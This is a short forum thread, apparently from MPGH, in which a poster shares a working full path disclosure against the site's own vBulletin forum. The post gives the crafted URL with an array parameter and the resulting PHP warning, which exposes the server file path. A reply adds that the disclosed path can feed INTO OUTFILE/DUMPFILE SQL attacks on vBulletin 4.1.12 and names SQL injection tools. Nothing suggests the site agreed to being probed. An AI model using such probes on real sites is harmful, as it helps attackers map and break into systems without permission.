MPGH Full Path Disclosure

Code:

---

https://www.mpgh.net/forum/index.php?do[]=Full+Path+Disclosure

---

Will give you the full site path.

Code:

---

Warning: trim() expects parameter 1 to be string, array given in /home/mpgh/forum/includes/class_core.php on line 1986

---

Nice vulnerability FUKO. Hopefully no one will exploit it... oh wait we're on mpgh where all the skids live nvm.

inb4 loaded up in havij YUNO WORK DAT VUL IS FAKE Dx

PS - FPD can be used for INTO OUTFILE/DUMPFILE and this will work for vBulletin version 4.1.12 Patch Level 1 and vBulletin 4.1.12.

Quote:

---

Originally Posted by Herpina

Nice vulnerability FUKO. Hopefully no one will exploit it... oh wait we're on mpgh where all the skids live nvm.

inb4 loaded up in havij YUNO WORK DAT VUL IS FAKE Dx

---

WHO THE FUCK YOU CALLING HAVIJ NEWB?

I use sqlmap. /fmm

loael .